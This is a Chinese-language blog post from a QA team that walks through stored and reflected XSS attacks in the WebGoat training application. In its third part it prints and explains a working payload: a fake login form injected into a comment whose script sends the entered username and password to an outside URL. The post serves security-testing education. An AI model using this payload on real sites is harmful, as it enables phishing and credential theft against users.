注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

网易杭州 QA Team

务实 专注 分享 做有态度的QA

 
 
 
 
 

日志

 
 

李白白之Cross Site Scripting (XSS) attack  

来自李白白   2012-08-09 14:56:54|  分类: 安全测试 |举报 |字号 订阅

  下载LOFTER 我的照片书  |

什么是xss攻击,网上的定义如下:

XSS又叫CSS (Cross Site Script) 跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。

跨站脚本(Cross-site scriptingXSS)漏洞是Web应用程序中最常见的漏洞没有之一

下面我们将从不同的xss分类结合webgoat项目一一演示。

3.1 stored xss

存储式跨站攻击,是xss中危害比较大的一种,它将脚本存入数据库。危害也将长久的留在页面中。

李白白之Cross Site Scripting (XSS) attack - 网易杭州QA - 网易杭州 QA Team
 

步骤一上面的英文意思是用tom帐号登录,tom完成xss攻击。Jerry访问tom的页面,就会受到危害。

我们用tom的帐号登录,然后选择tom,点击“viewprofile”,在然后点击“editprofile

就到了以下页面:

李白白之Cross Site Scripting (XSS) attack - 网易杭州QA - 网易杭州 QA Team

随便一个文本框输入:<script>alert('ok')</script>。然后点击“updateprofile

这时候这段脚本已经被执行,alert框会弹出来。这时候退出登录,更换jerry帐号登录后,选择tom用户,点击“viewprofile”。

李白白之Cross Site Scripting (XSS) attack - 网易杭州QA - 网易杭州 QA Team
 

出现如此页面这表明攻击成功。

我们再看反射性xss攻击

3.2 Reflected XSS attack

这是最常见也是最知名的XSS攻击,当Web客户端提交数据后,服务器端立刻为这个客户生成结果页面,如果结果页面中包含未验证的客户端输入数据,那么就会允许客户端的脚本直接注入到动态页面中。传统的例子是站点搜索引擎,如果我们搜索一个包含特殊HTML字符的字符串时,通常在返回页面上仍然会有这个字符串来告知我们搜索的是什么,如果这些返回的字符串未被编码,那么,就会存在XSS漏洞了。

我们选择larry用户登录后点击“searchstaff”,然后将这段<script>alert('ok')</script>代码贴进去,点击“findprofile”,这时脚本会被执行,有alert框弹出来。

好像到现在为止,给大家演示所谓的xss攻击无所谓网站上被挂了个框。其实挂框只能说明存在xss漏洞,黑客可以利用这个漏洞做很多事情,接下来我们会拿众多危害的一种作为演示。

3.3 stored xss之挂框获密码

李白白之Cross Site Scripting (XSS) attack - 网易杭州QA - 网易杭州 QA Team

这是一个有添加评论功能的两个文本框,一个标题一个内容,标题我们输入1,内容部分贴入以下代码:

<script>

function hack(){

    XSSImage=new Image;

    XSSImage.src="http://photo.163.com/?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";

alert(XSSImage.src);

}

</script>

<form><br><br><HR><H3>This featurere quires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user"name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login"onclick="hack()"></form><br><br><HR> 

点击“submit”,显示如下:

李白白之Cross Site Scripting (XSS) attack - 网易杭州QA - 网易杭州 QA Team
 

Message列表中出现一个title为“1”的一条评论,点击这条评论:

李白白之Cross Site Scripting (XSS) attack - 网易杭州QA - 网易杭州 QA Team
 

出现了一个登录框,好像这个网站查看评论需要登录,但是一旦登录,你们帐号和密码就会自动发送给攻击者,让我们解读下这段代码:

<form><br><br><HR><H3>This featurere quires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user"name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login"onclick="hack()"></form><br><br><HR> 

这段代码是说,首先创建了两个文本框,一个是id=users的用户名,另一个是password框。然后还有一个提交按钮,按钮事件包含一个hack()hack()方法的内容如下:

<script>

function hack(){

    XSSImage=new Image;

    XSSImage.src="http://photo.163.com/?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";

alert(XSSImage.src);

}

</script>

这段代码解读起来是这样:首先创建一个Image对象,XSSImage.src的意思是设置或返回图像的URL,而URL配置的内容就是泄漏的帐号和密码;alert(XSSImage.src)这句话是用例验证我们已经获取到了帐号和密码,可以去掉,对攻击无用处。我们输入帐号和密码提交后,如下图:

李白白之Cross Site Scripting (XSS) attack - 网易杭州QA - 网易杭州 QA Team
 

说明帐号密码已拿到,攻击完成。





 




  评论这张
 
阅读(996)| 评论(4)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2016